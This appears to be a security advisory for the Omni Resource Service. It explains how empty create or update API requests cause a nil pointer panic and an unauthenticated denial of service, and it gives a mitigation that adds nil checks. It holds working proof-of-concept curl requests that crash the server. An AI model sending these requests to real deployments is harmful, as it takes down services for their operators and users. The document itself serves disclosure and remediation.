Summary

A nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.

Details

The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault.

Vulnerable Code

The isSensitiveSpec function in /src/internal/backend/server.go:

func isSensitiveSpec(resource *resapi.Resource) bool {
    res, err := grpcomni.CreateResource(resource)  // No nil check on resource.Metadata
    if err != nil {
        return false
    }
    // ... rest of function
}

The CreateResource function expects resource.Metadata to be non-nil:

func CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {
    if resource.Metadata.Version == "" {  // PANIC: nil pointer dereference
        resource.Metadata.Version = "1"
    }
    // ... rest of function
}

The UpdateResource function has the same issue - it also calls CreateResource internally and expects resource.Metadata to be non-nil:

func (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {
    // ... validation code ...
    obj, err := CreateResource(in.Resource)  // Same vulnerability here
    if err != nil {
        return nil, err
    }
    // ... rest of function
}

Affected Endpoints

• resourceServerCreate - Create Resource API endpoint
• resourceServerUpdate - Update Resource API endpoint

Both endpoints call isSensitiveSpec which triggers the vulnerability when processing empty resources.

PoC

Send empty resource requests to the affected API endpoints:

# Create endpoint
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Create" \
  -H "Content-Type: application/json" \
  -d '{}'

# Update endpoint  
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Update" \
  -H "Content-Type: application/json" \
  -d '{}'

Expected Result: Server panic with segmentation fault:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]

goroutine 3305 [running]:
github.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)
        /src/internal/backend/grpc/resource.go:364 +0x20

Impact

• Vulnerability Type: Denial of Service (DoS)
• Severity: High - Complete API server crash requiring manual restart if no restart policy is applied.
• Authentication: None required (unauthenticated)
• Complexity: Low (simple HTTP request)

Mitigation

Add nil checks in the isSensitiveSpec function:

func isSensitiveSpec(resource *resapi.Resource) bool {
    if resource == nil || resource.Metadata == nil {
        return false
    }
    res, err := grpcomni.CreateResource(resource)
    if err != nil {
        return false
    }
    // ... rest of function
}

Credits

• @1c3t0rm
• @nicomda